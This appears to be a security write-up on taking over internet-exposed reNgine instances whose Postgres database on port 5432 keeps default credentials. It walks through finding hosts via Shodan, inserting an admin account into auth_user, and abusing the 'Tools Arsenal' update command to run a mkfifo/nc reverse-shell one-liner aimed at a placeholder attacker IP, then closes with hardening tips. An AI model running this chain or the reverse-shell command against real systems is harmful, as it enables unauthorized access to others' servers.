reNgine is an automated reconnaissance framework for web applications. By default, it
uses port 443 for the graphical user interface and port 5432 for database. The default
configuration for the database is set on an .env file in the project. This means if anyone does not modify default
passwords and expose the port, we can achieve a reverse shell. This is how it works:
- Find a reNgine instance with port
5432open. - Try to access reNgine database with default password.
- If successful, add a user and login to reNgine.
- Use one of the many intended features to get shell access to the container.
Let's perform a Shodan search. We discover 500+ instances of reNgine installed on VPS and many of them have port 5432 open.
Let's perform an Nmap scan to verify that the port is open. And yes, we find that the port is indeed open.
Now, it is time to test if they are using the default credentials. So, we try to
connect to the database with the default credential and we succeed. Now?
The database has all the information you see on the reNgine dashboard, stored in
different tables. Among the tables is auth_user table which stores the login
credentials for reNgine. If we view the data in the table, we can see useful information such as username and
password that provides access to the reNgine dashboard. However, the password is encrypted.
As reNgine is an open source project, we know how the hashing works here and maybe we can try to use rainbow tables to crack the password. But, we also have a better option. We can insert a new login credentials into the table and use that to login instead of spending time on cracking the existing password. Let's add a user named 'info' with password 'qazwsx' which is encrypted using the same hashing algorithm that the reNgine uses.
If we see the data from the table again, we can see a new user has been added with highest level of privileges. Now, we can login to the reNgine dashboard with the new credentials.
Can we do more? Yes, we can. We can use one of the intended feature of reNgine to get shell access to the container. The feature we are leveraging here is the "Tools Arsenal" section. We can add a custom tool in reNgine and give commands to execute. We add a custom tool with the following line in the update command:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <ATTACKER PORT> >/tmp/fThen, listen for an incoming connection and click on "Check Update" button for the custom tool. We have a shell access now. This in itself is not a vulnerability in reNgine but an intended feature. Here is a walkthrough video to get the reverse shell.
Recommendations
- Do not use default passwords.
- Do not expose unnecessary ports to the internet.